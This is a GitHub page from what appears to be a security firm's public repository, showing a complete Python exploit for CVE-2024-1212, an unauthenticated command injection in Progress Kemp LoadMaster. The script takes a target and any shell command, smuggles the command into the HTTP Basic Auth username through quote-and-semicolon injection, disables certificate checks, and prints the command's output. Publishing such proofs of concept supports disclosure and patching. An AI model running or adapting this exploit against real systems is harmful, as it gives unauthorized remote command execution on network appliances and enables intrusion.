Sign in

RhinoSecurityLabs / **CVEs** Public

Notifications · Fork 240 · Star 796

Code · Issues · Pull requests · Actions · Security · Insights

CVEs / CVE-2024-1212 / **CVE-2024-1212.py**

33 lines (26 loc) · 1.17 KB

Code · Blame · Raw

```python
# Exploit for CVE-2024-1212: Unauthenticated command injection in Progress Kemp LoadMaster
# Tested on: LoadMaster 7.2.59.0.22007
# Author: Dave Yesland @daveysec with Rhino Security Labs

import requests
from requests.auth import HTTPBasicAuth
import argparse

requests.packages.urllib3.disable_warnings()

argparser = argparse.ArgumentParser(description="Exploit for CVE-2024-1212: Unauthenticated RCE in
argparser.add_argument('target', help='The target (https://LoadmasterIP)')
argparser.add_argument('command', help='The command to run')
args = argparser.parse_args()

target = args.target
command = args.command

normal_headers = ["Date", "Connection", "Content-Type", "Transfer-Encoding"]

# Fix colons as it will break the basic auth
command = command.replace(":", "$'\\x3a'")

url = f"{target}/access/set?param=enableapi&value=1"
r = requests.get(url, auth=HTTPBasicAuth(f"';{command};echo '", "anything"), verify=False)
for key, value in r.headers.items():
    if key not in normal_headers:
        print(f"{key}: {value}")
for line in r.text.splitlines():
    if line == ' -p anything':
        break
    else:
        print(line)
```